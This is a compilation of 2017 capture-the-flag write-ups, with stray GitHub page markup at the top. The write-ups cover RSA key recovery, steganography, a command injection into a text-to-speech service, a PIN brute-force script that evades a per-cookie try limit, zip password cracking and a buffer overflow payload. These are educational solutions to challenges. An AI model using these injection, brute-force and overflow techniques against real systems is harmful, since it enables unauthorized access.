color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
For these purposes, will work well [RsaCtfTool](https://github.com/sourcekris/RsaCtfTool) ```cd /opt/RsaCtfTool./RsaCtfTool.py --publickey /media/DATA/CTF/yubitsec/RSA_I/RSA/Part1/PublicKey1.pem --private --uncipher /media/DATA/CTF/yubitsec/RSA_I/RSA/Part1/ciphertext1./RsaCtfTool.py --publickey /media/DATA/CTF/yubitsec/RSA_I/RSA/Part2/PublicKey2.pem --private --uncipher /media/DATA/CTF/yubitsec/RSA_I/RSA/Part2/ciphertext2./RsaCtfTool.py --publickey /media/DATA/CTF/yubitsec/RSA_I/RSA/Part3/PublicKey3.pem --private --uncipher /media/DATA/CTF/yubitsec/RSA_I/RSA/Part3/ciphertext3```After the launch it only remains to collect the flag:```gh0st3rs@leacher-pc:RSA_I$ ./solver.sh -----BEGIN RSA PRIVATE KEY-----MG4CAQACExqs08kNGr393d4YNfWKiPA2i58CAwEAAQITAQtEmrjVlBwMg4SswXPAD6tZMQIKA15X18VLlSZm6QIKB+s+al7J1uFZRwIKAJ2AqdZNQcar0QIKAJDL53sXvZJg9wIKAuJxXfZGtKRLsg==-----END RSA PRIVATE KEY-----[+] Clear text : ?�ԗ��tA?3�YUBITS-----BEGIN RSA PRIVATE KEY-----MG8CAQACFAOK8x5ZjiQrX88bMG/f8OLWbvI5AgMBAAECEyglbOF/9j/pRMn/kooJwOtYVoUCCh1itmCUgFlKT/8CCh7dHr/XqtdlPccCCgt2f0hLhYnPSEcCChb4x+lMUZlOfoMCCg0EYHu6Sip/N/s=-----END RSA PRIVATE KEY-----[+] Clear text : ?�6x?A�KΡEC{S4V3-----BEGIN RSA PRIVATE KEY-----MG4CAQACE2V6kIQmEBr6JVHPyibjmvVkUycCAwEAAQITQyZ6kOe7Co7yqrRYsOVcBFCU0QIKBs3zoRJ7rHVf6QIKDunZ8G691p3AjwIKA6M+x7F15HCrYQIKBBzmJ/LClB+pbQIKA1rNqY0KXkCtvg==-----END RSA PRIVATE KEY-----[+] Clear text : ?�"?Ꙍ���_FL46}``` Flag: YUBITSEC{S4V3_FL46}
- We was given this file : [File](https://github.com/kuqadk3/CTF-and-Learning/blob/master/YUBITSEC%202017/Steganography/75%20-%20notes/notes) - Analyze it, we realize it's MIDI file. - Change the extension to MIDI -> listen -> alot non-sense sound - So that i think about [Spectorgram](https://en.wikipedia.org/wiki/Spectrogram) - Load it into Audacity, we got : ![alt tag](https://github.com/kuqadk3/CTF-and-Learning/blob/master/YUBITSEC%202017/Steganography/75%20-%20notes/Capture.PNG) Flag = YUBITSEC{99_EZ_GJ}
<h1>Challenge: Scisnerof</h1><h1>Category: Forensics</h1><h2>70 points</h2> Description: Written by neptunia I found weird file! elif Hint: Did I put this in the wrong category? File = elif 6c0baad166c1256a29d469bae8a778ce5012ba77_elif ``` ‚`B®DNEI °ґ&;н°?.?ыюя–?!?Bc$`x„! Њ‘Ѓв?„&2BН†–№?Ш¦в?„ЖH)Ће醙==<¦в?…?Ё№Ћеи¦в?„ЖH№Ћеи¦в?„ЖH‰ЋеиЦв?…?Ё‰ЋеиЦв?„ЖHГх?ъ`Ё?q?B}Ф.Д“ Еm w?„&2A?w/@a¦Пзуаw?„&2ALw/Aч?„'}ALw/Aч?„&2Dw?ЛуWЌЬB?˜Й?њw/ъ<nв?„ЖH}Е?ЇgїГw?„&2DШњ я?{€B?^ўlN?‰Jфь/—<...>гшю?‚њB??#?Д!?LdЊ??„!1’0<B?„ЖHАс?B??#?Д!?LdЊ??„!1’0<B?„ЖHАс?B??#?Д!?LdЊ??„!1’0<B?„ЖH°с?B?џчyй®’OsrT’·%uOОg«єJ©+sщ;ѕtчЧО??>Ж<ђ?ч"D‰?$JЬHђа‘+•ИА<?+‘"DЋWЕ?5$љЇќн^xTADI&? dЁoЗ?Г? Г? sYHp ?aь?Џ± AMAg? й?О® BGRs? оЌDz ??P B? RDHI ? GNP‰ ``` As I can see it is all about mirorring the text (Scisnerof is forensics, elif is file, GNP at the end of file is PNG, and so on). code:```with open ('6c0baad166c1256a29d469bae8a778ce5012ba77_elif', 'rb') as f: line = f.read()line = line[::-1]with open ('text.png', 'wb') as out: out.write(line)``` And we have the flag: flag = easyctf{r3v3r5ed_4ensics}
## Echo (Web, 200 points, 132 solves) If you hear enough, you may hear the whispers of a key... If you see app.py well enough, you will notice the UI sucks.. In the description [app.py](echo_57f0dd57961caae2fd8b3c080f0e125b.py) is provided to us. The source matches what we see when browsing to the target. A form accepting four "tweets" with a maximum length of 140 characters each. The tweets we provide are then converted into speech that we can listen to. Further reading of the source code we can understand the logic and break it into steps. 1. Tweets are extracted from their arguments and joined into an array2. A random UUID is generated to build a tmp directory3. Our tweets are written to ```"/tmp/echo/" + UUID + "/input"```4. ```process_flag``` is called to obfuscate the flag before placing in ```"/tmp/echo/" + UUID + "/flag"```5. A docker instance is created via the cmd ```docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py```6. ffmpeg is run to convert a wav to an mp3 ```ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}```7. User is redirected to a page where they can listen to the audio output In order to get this running locally to test we are missing a rather large piece of information. We have no knowledge of the Docker instance and the code it runs. From the rest of the code we can infer that it takes in our "tweets" and performs text to speech creating a wav as output. The normal format of a docker run cmd is ```docker run [OPTIONS] IMAGE [COMMAND] [ARG...]```. Inside of our cmd the image is `lumjjb/echo_container`. A quick google search gives us no results. If we search only for the user `lumjjb` we can find the users docker reposity at https://hub.docker.com/u/lumjjb/. A quick `docker pull lumjjb/echo_container` and we can then get a shell inside of the instance via `docker run -it lumjjb/echo_container:latest`. Now that we have [run.py](run.py) we can see that it's splitting our `input` into lines and running each through a text to speech conversion `call(["sh","-c", "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])`. Since we control `l` we can get cmd injection. This can be tested by sending ``` `id` ```. Inside of the docker container we only have access to the obfuscated flag. In additon we only have output as a _wav -> mp3_. Let's leverage the existing text-to-speech and have it read us the flag. But first we need to deobfuscate it. ```pythonimport sys, osp = '/share/flag'l = os.stat(p).st_size / 65000f = open(p)for _ in range(l): c = 0 for i in range(65000-1): c = c ^ ord(f.read(1)) sys.stdout.write(chr(c ^ ord(f.read(1))))``` To deobfuscate it we simply perform the operations in reverse.Now that we have a script which recovers the flag we need to execute it on the docker container. Thankfully tweets can have newlines inside of them, so we simply combine multiple lines into single tweets. We can execute our python code easily enough by making the first line ```#`python /share/input` ```. Success! Or not? We get the flag but it's a horrible noisy mess. In addition we have no distinction between uppercase and lowercase characters. Let's convert them to decimal and add some pauses between. After doing that we can easily convert from decimal to ascii and we have the flag **PCTF{L15st3n_T0__reee_reeeeee_reee_la}**. ```python#. `python /share/input`import sys, osp = '/share/flag'l = os.stat(p).st_size / 65000f = open(p)for _ in range(l): c = 0 for i in range(65000-1): c = c ^ ord(f.read(1)) sys.stdout.write("%d. " % (c ^ ord(f.read(1))))```
It's a simple challenge with 300 points :) command "ls" Display files available on the server. **index.php shell.jpg flag.txt ** Then through the description we pass the command "**history**" and we found 1 ZXh0c2 mFfc23 VjdXJ4 lX2Zp5 bGVfc6 mVhZG7 Vy Decode base 64 we found (**extra_secure_file_reader)** Finally to read the file (**flag.txt)** we just type **extra_secure_file_reader flag.txt** and flag is displayed. flag is : YUBITSEC{shello_shello_are_you_thereo}
## Fzz_Buzz_2 [PROG 200] >Oh no! Two of my keys are broken! Please help me make the same Fzz Buzz program, sans that one letter and queston marks.>>As a side note, use of eval() and exec() is also frowned upon and will be marked invalid. ### EN / [PL](#rozwiązanie) ### Solution: There were 4 programming languages available: python, c, c ++ and java. The task was to write `FizzBuzz` without using `?` and one letter, and judging by the name of the task, this letter was `i` :-) On ctf there was also the task `Fizz_Buzz_1` - classically: ```pythonn = int(input()) for i in range(1, n+1): if i % 3 == 0 and i % 5 == 0: print('FizzBuzz') elif i % 3 == 0: print('Fizz') elif i % 5 == 0: print('Buzz') else: print(i)``` Well, there is a lot of useful words containing `i`: `int`, `input`, `if`, `print`, `spanish inquisition`... Looking for a solution was fun :-) The first thing that came to mind was `__builtins__`. ```>>> __builtins__<module 'builtins' (built-in)>>>> dir(__builtins__)['ArithmeticError', 'AssertionError', 'AttributeError', (...)'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']``` There is almost everything you need. You just had to find a way to use these functions as strings that you can format. ```>>> __builtins__.print('hello')hello>>> __builtins__.__dict__['print']('hello')hello>>> __builtins__.__dict__['pr{}nt'.format(chr(105))]('hello')hello``` And in this place I realized that I could not call `__builtins__` directly because it has two `i` in it... Fortunately, there are as many as three dictionaries available, from which you can use any of those- `vars()`, `locals()` and `globals()`. ```>>> vars(){'__package__': None, '__name__': '__main__', '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__doc__': None}>>> a = 'ala ma kota'>>> vars(){'__package__': None, 'a': 'ala ma kota', '__name__': '__main__', '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__doc__': None}>>> vars()['a']'ala ma kota'``` So further: ```>>> vars()['__builtins__'].__dict__['pr{}nt'.format(chr(105))]('hello')hello>>> vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))].__dict__['pr{}nt'.format(chr(105))]('hello')hello``` Now the biggest problem turned out to be `__dict__`... Salvage has turned out to be a built-in function `getattr()`. It extracts from the given object the given attribute. ```>>> getattr(__builtins__, 'print')<built-in function print>>>> getattr(__builtins__, 'print')('hello')hello>>> getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], 'pr{}nt'.format(chr(105)))('hello')hello``` A little python magic and the task almost done, `int` and `input` can be obtained in the same way :-) There is still an issue of `if`. In Python the conditions can be written in an interesting alternative way: ```>>> if 1 < 2:... 'true'... 'true'>>> ('false', 'true')[1 < 2]'true'>>> ('false', 'true')[1 > 2]'false'``` And the script ready to solve the task :-) ```pythonjnt = getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], '{}nt'.format(chr(105)))jnput = getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], '{}nput'.format(chr(105)))prjnt = getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], 'pr{}nt'.format(chr(105)))n = jnt(jnput())tuple(map(lambda j: prjnt((j,('', 'F{}zz'.format(chr(105)))[j%3==0] + ('', 'Buzz')[j%5==0] )[j%3==0 or j%5==0]), range(1, n+1)))``` ### [EN](#solution) / PL ### Rozwiązanie: Dostępne były 4 języki programowania: python, c, c++ i java. Zadanie polegało na napisaniu programu `FizzBuzz`, nie używając `?` i jednej litery, a sądząc po nazwie zadania tą literą było `i` :-) Na ctfie było też zadanie `Fizz_Buzz_1` - klasycznie: ```pythonn = int(input()) for i in range(1, n+1): if i % 3 == 0 and i % 5 == 0: print('FizzBuzz') elif i % 3 == 0: print('Fizz') elif i % 5 == 0: print('Buzz') else: print(i)``` Cóż, dużo tu przydatnych słów zawierających `i`: `int`, `input`, `if`, `print`, `spanish inquisition`... Szukanie rozwiązania było fajną zabawą :-) Pierwsze co przyszło mi na myśl, to `__builtins__`. ```>>> __builtins__<module 'builtins' (built-in)>>>> dir(__builtins__)['ArithmeticError', 'AssertionError', 'AttributeError', (...)'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']``` Znajduje się tam prawie wszystko co potrzebne. Trzeba było tylko znaleźć sposób na użycie słów kluczowych jako stringów, które można formatować. ```>>> __builtins__.print('hello')hello>>> __builtins__.__dict__['print']('hello')hello>>> __builtins__.__dict__['pr{}nt'.format(chr(105))]('hello')hello``` I w tym miejscu zdałem sobie sprawę, że nie mogę wprost wywołać `__builtins__` bo ma w sobie przecież nawet dwie `i`... Na szczęście łatwo dostępne są aż trzy słowniki, z których na potrzeby zadania można skorzystać z dowolnego: `vars()`, `locals()` i `globals()`. ```>>> vars(){'__package__': None, '__name__': '__main__', '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__doc__': None}>>> a = 'ala ma kota'>>> vars(){'__package__': None, 'a': 'ala ma kota', '__name__': '__main__', '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__doc__': None}>>> vars()['a']'ala ma kota'``` A więc dalej: ```>>> vars()['__builtins__'].__dict__['pr{}nt'.format(chr(105))]('hello')hello>>> vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))].__dict__['pr{}nt'.format(chr(105))]('hello')hello``` Teraz największym problemem okazał się `__dict__`... Zbawienna okazała się wbudowana funkcja `getattr()`. Wyciąga z danego obiektu dany atrybut. ```>>> getattr(__builtins__, 'print')<built-in function print>>>> getattr(__builtins__, 'print')('hello')hello>>> getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], 'pr{}nt'.format(chr(105)))('hello')hello``` Trochę pythonowej magii i zadanie prawie zrobione, `int` i `input` można pozyskać w ten sam sposób :-) Pozostaje jeszcze kwestia `if`. W Pythonie warunki można zapisać w pewien ciekawy alternatywny sposób: ```>>> if 1 < 2:... 'true'... 'true'>>> ('false', 'true')[1 < 2]'true'>>> ('false', 'true')[1 > 2]'false'``` No i gotowy skrypt rozwiązujący zadanie :-) ```pythonjnt = getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], '{}nt'.format(chr(105)))jnput = getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], '{}nput'.format(chr(105)))prjnt = getattr(vars()['__bu{}lt{}ns__'.format(chr(105), chr(105))], 'pr{}nt'.format(chr(105)))n = jnt(jnput())tuple(map(lambda j: prjnt((j,('', 'F{}zz'.format(chr(105)))[j%3==0] + ('', 'Buzz')[j%5==0] )[j%3==0 or j%5==0]), range(1, n+1)))```
[https://mattypiper.github.io/ctf/gameboy/2017/04/24/plaid-ctf-gameboy.html](https://mattypiper.github.io/ctf/gameboy/2017/04/24/plaid-ctf-gameboy.html)
## Preliminary ResearchThe link in question is http://pin.ctf.tamu.edu/ and there is not much too it. After clicking a link called 'login' you get to http://pin.ctf.tamu.edu/login, this is where the fun is to be had. I looked at the source code, but there was nothing of interest, looks like we will have to brute-force this. I opened up [BurpSuite](https://portswigger.net/burp/) and took a look at the POST requests, there was a cookie called **uid** and then the pin, called **pin**; referer was also set as pin.ctf.tamu.edu. I sent the POST over to the 'repeater' feature in BurpSutie. I just wanted to try some basic combinations and save myself the time of brute-forcing. I tried 0000, 6969, 9999, 1111, then something weird happened, I didn't get the usual error message, I got *WRONG: too many tries*. After some testing and consulting my teammates at Umbra, we came to the conclusion that the cookie was only good for 4 tries. So now we know what we have to do, try all 10 000 pins from 0000-9999 but get a new cookie every 4 attempts. ## The codeNormally I would use [Hydra](http://sectools.org/tool/hydra/), but Hydra wants a login and a password. So for this I used [Python3](https://www.python.org/downloads/) with the [requests](http://docs.python-requests.org/en/master/) library. This was the code I settled on:```python#!/usr/env/python3 import requests #send a GET to refresh uid cookiedef get_cookie(url, cookie_id): return {cookie_id: requests.get(url).cookies[cookie_id]} #'0000' - '9999'pins = [str(i).zfill(4) for i in range(10000)][400:] t_url = "http://pin.ctf.tamu.edu/login"t_headers={'referer': 'http://pin.ctf.tamu.edu/login'}i = 0 #lazy counter for pin in pins: #every 4 attempts cookie needs to be refreshed if i % 3 == 0: t_cookies = get_cookie(t_url, 'uid') pin_field = {'pin': pin} r = requests.post(t_url, data=pin_field, cookies=t_cookies, headers=t_headers) if "WRONG" not in r.text: print(r.text) print(pin) i += 1``` This code *will* work, but it is SLOW. It took 20-30min to get the pin and it wasn't even half way through all possible values. So I decided to write something faster using pythons async. If you don't know what async is, it is like threading but neater. I used the [grequests](https://github.com/kennethreitz/grequests) library for the following faster code:```python#!/usr/env/python3 #Values prefixed with 't_' are user defined#'t_' is short for 'target_' import grequestsimport requests def get_cookie(url, cookie_id): return {cookie_id: requests.get(url).cookies[cookie_id]} def gpost_it(t_url, t_data, t_cookies, t_headers): return grequests.post( t_url, data=t_data, cookies=t_cookies, headers=t_headers) pins = [str(i).zfill(4) for i in range(10000)] t_url = "http://pin.ctf.tamu.edu/login"t_headers={'referer': 'http://pin.ctf.tamu.edu/login'}t_cookies = get_cookie(t_url, 'uid')to_do = [] print("Running aysnc batches of 4 requests each for cookie refreshing")for i, pin in enumerate(pins): to_do.append(gpost_it(t_url, {'pin': pin}, t_cookies, t_headers)) if i % 3 == 0: t_cookies = get_cookie(t_url, 'uid') to_do = set(to_do) #Done for performance for response in grequests.map(to_do): if "WRONG" not in response.text: print(response.text) break elif "tries" in response.text: print("too many tries error, adjust cookie refresh") to_do=[] #Reset list #Just me being fancy percent_complete = round(i/len(pins) * 100, 2) if percent_complete % 5 == 0: print(int(percent_complete), "%", end='\r') print("C'est fini")```Due to the fact that in order to run async you need to assemble a 'to do' list first, and that list will be executed in pseudo-random order, we can only afford to run batches of 4 POSTs at a time, or the cookie might expire. This requires some more code, but it **is** faster. This wil get the flag in just under 15min. Also because the second one was not written just as I went along, it is much neater and more 'pythonic'.
**Hello , The Challenge name " Robots Are Cool " - After Reading The Challenge Title I confirmed the flag in robots.txt file about Robots.txt this is file to deny or allow robots to visit your website like google bots , yandex or yahoo and more bots . URL : http://138.197.41.168/fiuuu/r0b0t.html I Will Changed The URL From http://138.197.41.168/fiuuu/r0b0t.html to http://138.197.41.168/fiuuu/robots.txt![](https://secfathyblog.files.wordpress.com/2017/04/screenshot-from-2017-04-27-02-29-32.png?w=680) The Flag :YUBITSEC{c0me_w1th_m3_If_y0u_w4nt_t0_L1ve}**
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/reversing/easyctf2017-hexable.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/reversing/easyctf2017-hexable.md)
Challenge: VC----------------------------------------Category: Cryptography ----------------------------------------50 points ---------------------------------------- ```Description: There are files A.png and B.png. But where's the flag? Files: A.png and B.png``` ``` shellconvert A.png B.png -fx "((255-u)&v)|(u&(255-v))" image_xor.png``` VolgaCTF{Classic_secret_sharing_scheme}
The organizers threw “yet another crypto problem” (yacp) at us. It’s a 32bit ELF binary that implements a simple encryption / hashing service. In the following we describe our (most likely overly complicated) three-stage exploit that would get us the flag just one hour after the competition ended. The writeup is intentionally written in a rather detailed way, so skip right to the bottom if you’re only interested in the high-level summary of what we did.
# WhiteHat Challenge 03 : Pwn001 **Category:** Pwn**Points:** 20**Solves:** **Description:** >>> We have an action game by answering the question in the context of zombie disaster !!! Will you find a way to bypass "zombie_overflow" or become one of them?>> Play game by using netcat: nc 103.237.99.35 25033> Use IDA for static reverse and gdb for dynamic reverse.> Download tool IDA: http://tools.whitehat.vn/download.> IDA usage - http://whitehat.vn//threads/913 (Vietnamese)> Download binary file here: (Ubuntu 14.04 64bit)>> http://material.wargame.whitehat.vn/challenges/3/Pwn001_2c53fc9cfc6d091c47d7b85a3030d6e8e8cc4bc2.zip>> Submit WhiteHat{sha1(flag)}> Example: flag = Hello World> sha1("Hello World") = 0a4d55a8d778e5022fab701977c5d840bbc486d0> You must submit: WhiteHat{0a4d55a8d778e5022fab701977c5d840bbc486d0}> (all hash charactera in lowercase) ## Write-up ```print "katazz" . "\x00" x (256-6). "\xDE\xC0\n";``` ## Other write-ups and resources* <https://www.youtube.com/watch?v=PZ3GcjWe0yg>
```# cat ans.py #!/usr/bin/env python donpedro = 0achilles = 32cleopatra = 96 ending = 'tu1|\h+&g\OP7@% :BH7M6m3g='flag = '' beatrice = len(ending)for benedick in ending: x = ord(benedick) x = x - achilles x = x - donpedro # Assigning Don Pedro here, we can eliminate Don John donpedro = x # To reverse the algorithm, we add cleopatra (96) before the modulo operation x = (x + cleopatra) % cleopatra # Modulo to handle negative values benedick = chr((x + achilles) % 192) flag += benedick # Reverse our flag stringprint flag[::-1]+' '```
Cracking======**Category: Forensics****Points: 150** `Can you break it ?` We are given a password protected Zip file. All we have to do is bruteforce to get the key! On running the command: `fcrackzip -u -D -p passwords.txt Flag.zip`, **passwords.txt** being the dictionary you want to bruteforce with. After about 5-6 seconds, the command stopped giving the password `h0lyshit`. On extracting the zip file with the password, we got the flag! `YUBITSEC{3ASY_CR4CK_BR0_W3LL_D0N3}`
- We was given this image : ![alt tag](https://github.com/kuqadk3/CTF-and-Learning/blob/master/YUBITSEC%202017/Steganography/100%20-%20Falkreath/ciceros.jpg) - It was embeded with text file by steghide software . You can found that software here [Steg hide](steghide.sourceforge.net) - Using this command to extract text file : ![alt tag](https://github.com/kuqadk3/CTF-and-Learning/blob/master/YUBITSEC%202017/Steganography/100%20-%20Falkreath/extract.PNG) - It asked for password. Back to the challenge, the question title is : Falkreath,after google search, we know it's about skyrim - Also it have another hint "What's the music of life". - After searching google with "Skyrim - What's the music of life" , i found that : Q : "What is the music of life" A : "silence" - You can read more here [Read here](http://elderscrolls.wikia.com/wiki/The_Black_Door) - Try silence as password , we got : ![alt tag](https://github.com/kuqadk3/CTF-and-Learning/blob/master/YUBITSEC%202017/Steganography/100%20-%20Falkreath/psw.PNG) Flag = YUBITSEC{welcome_home!}